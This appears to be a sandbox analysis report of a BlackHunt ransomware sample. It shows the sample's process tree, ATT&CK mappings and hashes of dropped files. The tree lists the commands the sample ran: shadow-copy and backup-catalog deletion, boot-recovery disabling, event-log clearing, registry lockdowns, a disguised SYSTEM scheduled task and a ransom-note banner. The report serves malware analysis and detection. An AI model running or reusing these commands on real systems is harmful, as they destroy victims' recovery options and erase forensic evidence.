  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2072
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2188
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:456
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:1420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1912
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe" /F
  2⤵
  PID:1700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1920
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1916
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1772
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1900
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1676
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1512
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1324
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2440
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2448
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:772
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3888
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3824
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3392
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:4012
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3908
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1908
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1192
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1284
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3932
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1064
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:4056
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3128
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3116
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3144
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:1460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:2680
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1716
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3900
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:2600
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1660
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\22dc8ba5c67f6ea21f5178806c64b8d88771eda260c01b06b02b47e4c6844d52.exe"
  2⤵
  - Deletes itself
  PID:3036
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3196

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4016

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1584

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3044

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:4048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
9232d615176f3ada31cc6f0bb6027066

SHA1
f7b86296995168f9f270cfbcc75dd687934028ec

SHA256
e93352463fbcf291533c6f10e08c3d06a3548d9ddc5c427402b190a2fe0644a2

SHA512
c4674a2b4b11e8cf65bca9602190256af55eec21f5f128eab5f54ad696327a94651acc2af1347d2e450f98daa90ad0a3706901e7572c7e98d6c426ea351a963a

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
11d732787c0d83b21101c9a649ae4ca7

SHA1
bae711f6ef30431df538b60c273a1fda80a1628a

SHA256
1a012ffbb0448daeae49a768a9918fc067141ca04d27384d7d1ac7c498ce9495

SHA512
860f1e7f74eed0d8336e13ad07f031950991f2c7829a885a2a7c31409b644c5962627e128421ce81343ed5d93bdd2e3772533263fd6cf5685e563283a48df1b4

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
eec756791f49af86086c57c9c5ab4022

SHA1
aed12d99ffdfdaf9689da3019499239dbc14ee79

SHA256
b4e6fb691bdff01ca121a143f3b78be9b0a4c7bf337a9f027c6be967f19ca8da

SHA512
bb8705f139b3f30b10541d67a71179d41fa463abb48be28c9e069109edeb3b6816523656c0d801fae1502d96d54c9e445cb8bda3ccac015cd5ede3aeda82d52a

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads